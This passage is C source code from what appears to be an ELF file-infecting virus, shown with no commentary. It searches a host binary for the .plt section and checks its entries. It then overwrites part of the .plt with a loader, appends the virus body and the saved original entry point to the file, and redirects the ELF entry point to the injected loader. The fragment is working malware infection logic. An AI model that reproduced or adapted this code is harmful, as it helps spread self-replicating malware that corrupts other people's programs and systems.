	/* find .plt section (by name) */
	uint32_t psz, pla;
	uint8_t *plt = NULL;
	if (ehdr->e_shstrndx == SHN_UNDEF)
		goto _unmap;
	char *strtab = m + shdr[ehdr->e_shstrndx].sh_offset;
	for (i = 0; i < ehdr->e_shnum; i++)
		if (*(uint32_t*)(strtab + shdr[i].sh_name) == 0x746c702e) {
			plt = shdr[i].sh_offset + m;
			pla = shdr[i].sh_addr;
			psz = shdr[i].sh_size;
			break;
		}
	if (plt == NULL || CSIZE > (psz - 16))
		goto _unmap;

	/* check values in .plt */
	uint32_t gotp, orel, first_got, first_rel;
	gotp = orel = 0;
	for (i = 16; i < psz; i += 16) {
		if (gotp != 0) {
			if (*(uint32_t*)(plt + i + 2) - gotp != 4)
				goto _unmap;
			if (*(uint32_t*)(plt + i + 7) - orel != 8)
				goto _unmap;
		}
		gotp = *(uint32_t*)(plt + i + 2);
		orel = *(uint32_t*)(plt + i + 7);
		if (i == 16) {
			first_got = gotp;
			first_rel = orel;
		}		
	}
	
	/* patch loader */
	uint32_t nl = (l + 4095) & 0xfffff000;
	*(uint32_t*)(g->loader + PATCH_OFFSET) = nl;
	
	/* write loader */
	memcpy(plt + 16, g->loader, CSIZE);
	
	/* write virus body */
	ftruncate(h, nl);
	lseek(h, 0, 2);
	write(h, g->self, g->size);
	pwrite(h, &ehdr->e_entry, 4, nl + 10, 0);

	/* write number of entries in .plt */
	write(h, &pla, 4);
	write(h, &psz, 4);
	write(h, &first_got, 4);
	write(h, &first_rel, 4);

	/* update entry point */
	ehdr->e_entry = pla + 16;
